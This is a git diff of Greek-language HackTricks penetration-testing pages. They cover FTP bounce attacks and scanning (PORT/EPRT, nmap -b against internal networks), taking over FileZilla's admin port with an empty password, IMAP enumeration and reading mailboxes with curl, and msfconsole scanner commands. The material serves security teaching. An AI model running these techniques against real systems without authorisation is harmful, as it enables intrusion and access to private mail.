Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν FTP διακομιστή να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε **να ανεβάσετε ένα αρχείο που περιέχει ένα αίτημα HTTP** και να κάνετε το ευάλωτο FTP διακομιστή **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε ένα νέο διαχειριστή χρήστη?_) ή ακόμη και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο FTP διακομιστή να κατεβάσει ένα αρχείο για έναν διαφορετικό FTP διακομιστή.\
Η θεωρία είναι απλή:
Μπορείτε επίσης να καταχραστείτε αυτήν τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε **να ανεβάσετε ένα αρχείο που περιέχει μια αίτηση HTTP** και να κάνετε το ευάλωτο διακομιστή FTP **να τη στείλει σε έναν αυθαίρετο διακομιστή HTTP** (_ίσως για να προσθέσετε ένα νέο διαχειριστή χρηστών?_) ή ακόμα και να ανεβάσετε μια αίτηση FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο για έναν διαφορετικό διακομιστή FTP.\
Η θεωρία είναι εύκολη:
1. **Ανεβάστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι εάν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a`
2. **Χρησιμοποιήστε το `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο χρειαζόταν να βάλετε κάποια κεφαλίδα εικόνας στην αρχή)
1. **Ανεβάστε την αίτηση (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι εάν θέλετε να μιλήσετε με έναν άλλο διακομιστή HTTP ή FTP πρέπει να αλλάξετε γραμμές με `0x0d 0x0a`
2. **Χρησιμοποιήστε το `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε την αίτηση μέσα στο αρχείο χρειάστηκε να βάλετε κάποια κεφαλίδα εικόνας στην αρχή)
3. **Χρησιμοποιήστε το `PORT` για να συνδεθείτε στον αυθαίρετο διακομιστή και υπηρεσία**
4. **Χρησιμοποιήστε το `RETR` για να στείλετε το αποθηκευμένο αίτημα στον διακομιστή.**
4. **Χρησιμοποιήστε το `RETR` για να στείλετε την αποθηκευμένη αίτηση στον διακομιστή.**
Είναι πολύ πιθανό αυτό **να εμφανίσει ένα σφάλμα όπως** _**Μη εγγράψιμος socket**_ **επειδή η σύνδεση δεν διαρκεί αρκετά για να στείλει τα δεδομένα με το `RETR`**. Προτάσεις για να προσπαθήσετε να αποφύγετε αυτό είναι:
Είναι πολύ πιθανό αυτό **να εμφανίσει ένα σφάλμα όπως** _**Μη εγγράψιμο socket**_ **επειδή η σύνδεση δεν διαρκεί αρκετά για να στείλει τα δεδομένα με το `RETR`**. Προτάσεις για να προσπαθήσετε να αποφύγετε αυτό είναι:
* Εάν στέλνετε ένα αίτημα HTTP, **βάλτε το ίδιο αίτημα ένα μετά το άλλο** μέχρι ταλλά τουλάχιστον **\~0.5MB**. Όπως εδώ:
* Εάν στέλνετε μια αίτηση HTTP, **βάλτε την ίδια αίτηση μία μετά την άλλη** μέχρι τα **\~0.5MB** τουλάχιστον. Όπως εδώ:
{% file src="../../.gitbook/assets/posts (1).txt" %}
posts.txt
{% endfile %}
* Δοκιμάστε να **γεμίσετε το αίτημα με "άχρηστα" δεδομένα σχετικά με το πρωτόκολλο** (μιλώντας με FTP ίσως απλά άχρηστες εντολές ή επανάληψη της εντολής `RETR` για να πάρετε το αρχείο)
* Απλά **γεμίστε το αίτημα με πολλούς μηδενικούς χαρακτήρες ή άλλους** (διαιρεμένους σε γραμμές ή όχι)
* Δοκιμάστε να **γεμίσετε την αίτηση με "άχρηστα" δεδομένα σχετικά με το πρωτόκολλο** (μιλώντας με FTP ίσως απλώς άχρηστες εντολές ή επανάληψη της εντολής `RETR` για να πάρετε το αρχείο)
* Απλά **γεμίστε την αίτηση με πολλούς μηδενικούς χαρακτήρες ή άλλους** (διαιρούμενους σε γραμμές ή όχι)
Πάντως, εδώ έχετε ένα [παλιό παράδειγμα για το πώς να καταχραστείτε αυτό για να κάνετε έναν FTP διακομιστή να κατεβάσει ένα αρχείο από έναν διαφορετικό FTP διακομιστή.](ftp-bounce-download-2oftp-file.md)
Πάντως, εδώ έχετε ένα [παλιό παράδειγμα για το πώς να καταχραστείτε αυτό για να κάνετε έναν διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.](ftp-bounce-download-2oftp-file.md)
## Ευπάθεια του Filezilla Server
Το **FileZilla** συνήθως **δένεται** σε ένα **τοπικό** υπηρεσία **Διαχείρισης** για το **FileZilla-Server** (θύρα 14147). Εάν μπορείτε να δημιουργήσετε ένα **τούνελ** από **τον υπολογιστή σας** για να έχετε πρόσβαση σε αυτήν τη θύρα, μπορείτε να **συνδεθείτε** σε αυτήν χρησιμοποιώντας ένα **κενό κωδικό πρόσβασης** και να **δημιουργήσετε** έναν **νέο χρήστη** για την υπηρεσία FTP.
Το **FileZilla** συνήθως **δένεται** σε ένα **τοπικό** διαχειριστικό υπηρεσίας για το **FileZilla-Server** (θύρα 14147). Εάν μπορείτε να δημιουργήσετε ένα **τούνελ** από **τον υπολογιστή σας** για να έχετε πρόσβαση σε αυτήν τη θύρα, μπορείτε να **συνδεθείτε** σε αυτήν χρησιμοποιώντας ένα **κενό κωδικό πρόσβασης** και να **δημιουργήσετε** έναν **νέο χρήστη** για την υπηρεσία FTP.
## Αρχεία ρυθμίσεων
```
@ -213,9 +221,17 @@ vsftpd.conf
* `ftp`
* `port:21`
***
***
## HackTricks Αυτόματες Εντολές
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## HackTricks Automatic Commands
```
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
@ -274,7 +290,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,39 +1,46 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# FTP Bounce - Σάρωση
## Εγχειρίδιο
## Μη Αυτόματη
1. Συνδεθείτε στο ευάλωτο FTP
2. Χρησιμοποιήστε την εντολή **`PORT`** ή **`EPRT`** (αλλά μόνο μία από αυτές) για να καταστήσετε τη σύνδεση με το _\<IP:Port>_ που θέλετε να σαρώσετε:
2. Χρησιμοποιήστε **`PORT`** ή **`EPRT`** (αλλά μόνο έναν από τους δύο) για να καθιερώσετε μια σύνδεση με το _\<IP:Port>_ που θέλετε να σαρώσετε:
`PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|`
3. Χρησιμοποιήστε την εντολή **`LIST`** (αυτό θα στείλει απλά στο συνδεδεμένο _\<IP:Port>_ τη λίστα των τρεχουσών αρχείων στον φάκελο FTP) και ελέγξτε τις πιθανές απαντήσεις: `150 File status okay` (Αυτό σημαίνει ότι η θύρα είναι ανοιχτή) ή `425 No connection established` (Αυτό σημαίνει ότι η θύρα είναι κλειστή)
1. Αντί για την εντολή `LIST` μπορείτε επίσης να χρησιμοποιήσετε την εντολή **`RETR /file/in/ftp`** και να αναζητήσετε παρόμοιες απαντήσεις `Open/Close`.
3. Χρησιμοποιήστε **`LIST`** (αυτό θα στείλει απλώς στο συνδεδεμένο _\<IP:Port>_ τη λίστα των τρεχουσών αρχείων στο φάκελο FTP) και ελέγξτε τις πιθανές απαντήσεις: `150 File status okay` (Αυτό σημαίνει ότι η θύρα είναι ανοιχτή) ή `425 No connection established` (Αυτό σημαίνει ότι η θύρα είναι κλειστή)
1. Αντί για `LIST` θα μπορούσατε επίσης να χρησιμοποιήσετε **`RETR /file/in/ftp`** και να αναζητήσετε παρόμοιες απαντήσεις `Άνοιγμα/Κλείσιμο`.
Παράδειγμα χρησιμοποιώντας την εντολή **PORT** (η θύρα 8080 του 172.32.80.80 είναι ανοιχτή και η θύρα 7777 είναι κλειστή):
Παράδειγμα Χρήσης **PORT** (η θύρα 8080 του 172.32.80.80 είναι ανοιχτή και η θύρα 7777 είναι κλειστή):
![](<../../.gitbook/assets/image (225).png>)
Το ίδιο παράδειγμα χρησιμοποιώντας την εντολή **`EPRT`** (η ταυτοποίηση παραλείπεται στην εικόνα):
Ίδιο παράδειγμα χρησιμοποιώντας **`EPRT`** (η ταυτοποίηση παραλείπεται στην εικόνα):
![](<../../.gitbook/assets/image (226).png>)
Ανοιχτή θύρα χρησιμοποιώντας την εντολή `EPRT` αντί για την εντολή `LIST` (διαφορετικό περιβάλλον)
Ανοιχτή θύρα χρησιμοποιώντας `EPRT` αντί για `LIST` (διαφορετικό περιβάλλον)
![](<../../.gitbook/assets/image (228).png>)
@ -43,16 +50,23 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
```
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή τη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -1,22 +1,30 @@
# 143,993 - Ελεγχος Ασφάλειας IMAP
# 143,993 - Ελεγχος Ασφαλείας IMAP
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
</details>
**Ομάδα Ασφάλειας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Πρωτόκολλο Πρόσβασης σε Μηνύματα Διαδικτύου
Το **Πρωτόκολλο Πρόσβασης σε Μηνύματα Διαδικτύου (IMAP)** σχεδιάστηκε με σκοπό τη δυνατότητα **πρόσβασης των χρηστών στα email τους από οπουδήποτε**, κυρίως μέσω σύνδεσης στο Internet. Κατά βάση, τα email **διατηρούνται σε έναν διακομιστή** αντί να ληφθούν και αποθηκευτούν σε προσωπική συσκευή. Αυτό σημαίνει ότι όταν ένα email ανοίγεται ή διαβάζεται, γίνεται **απευθείας από τον διακομιστή**. Αυτή η δυνατότητα επιτρέπει την ευκολία ελέγχου των email από **πολλές συσκευές**, εξασφαλίζοντας ότι κανένα μήνυμα δεν θα χαθεί ανεξάρτητα από τη συσκευή που χρησιμοποιείται.
Το **Πρωτόκολλο Πρόσβασης σε Μηνύματα Διαδικτύου (IMAP)** σχεδιάστηκε με σκοπό τη δυνατότητα **πρόσβασης των χρηστών στα email τους από οποιαδήποτε τοποθεσία**, κυρίως μέσω σύνδεσης στο Internet. Κατά βάση, τα email **διατηρούνται σε έναν διακομιστή** αντί να ληφθούν και να αποθηκευτούν σε προσωπική συσκευή. Αυτό σημαίνει ότι όταν ένα email ανοίγεται ή διαβάζεται, γίνεται **απευθείας από τον διακομιστή**. Αυτή η δυνατότητα επιτρέπει την ευκολία ελέγχου των email από **πολλές συσκευές**, εξασφαλίζοντας ότι κανένα μήνυμα δεν θα χαθεί ανεξάρτητα από τη συσκευή που χρησιμοποιείται.
Από προεπιλογή, το πρωτόκολλο IMAP λειτουργεί σε δύο θύρες:
@ -31,9 +39,9 @@ PORT STATE SERVICE REASON
nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet
```
### NTLM Εξουσιοδότηση - Αποκάλυψη πληροφοριών
### NTLM Auth - Διαρροή Πληροφοριών
Εάν ο διακομιστής υποστηρίζει NTLM εξουσιοδότηση (Windows), μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις):
Εάν ο διακομιστής υποστηρίζει την NTLM auth (Windows) μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις):
```
root@kali: telnet example.com 143
* OK The Microsoft Exchange IMAP4 service is ready.
@ -105,11 +113,11 @@ apt install evolution
Η βασική πλοήγηση είναι δυνατή με το [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), αλλά το documentation είναι φωτεινό σε λεπτομέρειες, οπότε συνιστάται η έλεγχος της [πηγής](https://github.com/curl/curl/blob/master/lib/imap.c) για ακριβείς λεπτομέρειες.
1. Λίστα με τα mailboxes (imap εντολή `LIST "" "*")
1. Λίστα των φακέλων αλληλογραφίας (εντολή imap `LIST "" "*")
```bash
curl -k 'imaps://1.2.3.4/' --user user:pass
```
2. Εμφάνιση μηνυμάτων σε ένα ταχυδρομικό κουτί (εντολή imap `SELECT INBOX` και στη συνέχεια `SEARCH ALL`)
2. Λίστα μηνυμάτων σε ένα ταχυδρομικό κουτί (εντολή imap `SELECT INBOX` και στη συνέχεια `SEARCH ALL`)
```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
@ -127,7 +135,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
```
Το δείκτης των μηνυμάτων θα είναι ο ίδιος δείκτης που επιστρέφεται από τη λειτουργία αναζήτησης.
Είναι επίσης δυνατόν να χρησιμοποιηθεί το `UID` (μοναδικό αναγνωριστικό) για την πρόσβαση σε μηνύματα, ωστόσο είναι λιγότερο βολικό καθώς η εντολή αναζήτησης πρέπει να μορφοποιηθεί χειροκίνητα. Π.χ.
Είναι επίσης δυνατόν να χρησιμοποιηθεί το `UID` (μοναδικό αναγνωριστικό) για την πρόσβαση στα μηνύματα, ωστόσο είναι λιγότερο βολικό καθώς η εντολή αναζήτησης πρέπει να μορφοποιηθεί χειροκίνητα. Π.χ.
```bash
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
@ -136,7 +144,7 @@ curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
Παρόλα αυτά, είναι πιθανόν πιο καθαρό να γράψετε απλά ένα μικρό for loop:
Πιθανόν, είναι πιο καθαρό να γράψετε απλά ένα μικρό βρόχο:
```bash
for m in {1..5}; do
echo $m
@ -145,8 +153,14 @@ done
```
## Shodan
* `port:143 ΙΚΑΝΟΤΗΤΑ`
* `port:993 ΙΚΑΝΟΤΗΤΑ`
* `port:143 CAPABILITY`
* `port:993 CAPABILITY`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks Αυτόματες Εντολές
```
@ -180,14 +194,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
```
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -6,31 +6,39 @@
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
**Ομάδα Ασφαλείας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Βασικές Πληροφορίες
Από τη [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
> **Microsoft SQL Server** είναι ένα **σύστημα διαχείρισης βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσης δεδομένων, είναι ένα προϊόν λογισμικού με την κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού - οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω δικτύου (συμπεριλαμβανομένου του Διαδικτύου).
> **Microsoft SQL Server** είναι ένα **σύστημα διαχείρισης βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως server βάσης δεδομένων, είναι ένα προϊόν λογισμικού με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού - οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω δικτύου (συμπεριλαμβανομένου του Διαδικτύου).
**Προεπιλεγμένη θύρα:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Προεπιλεγμένοι Πίνακες Συστήματος του MS-SQL**
### **Προεπιλεγμένοι πίνακες συστήματος MS-SQL**
* **Βάση Δεδομένων master**: Αυτή η βάση δεδομένων είναι κρίσιμη καθώς αποθανατίζει όλες τις λεπτομέρειες σε επίπεδο συστήματος για μια περίπτωση SQL Server.
* **Βάση Δεδομένων msdb**: Ο SQL Server Agent χρησιμοποιεί αυτήν τη βάση δεδομένων για τη διαχείριση του προγραμματισμού ειδοποιήσεων και εργασιών.
* **Βάση Δεδομένων model**: Λειτουργεί ως σχέδιο για κάθε νέα βάση δεδομένων στην περίπτωση του SQL Server, όπου οποιεσδήποτε αλλαγές όπως μέγεθος, συλλογή, μοντέλο ανάκτησης και άλλα αντικατοπτρίζονται σε νεοδημιουργημένες βάσεις δεδομένων.
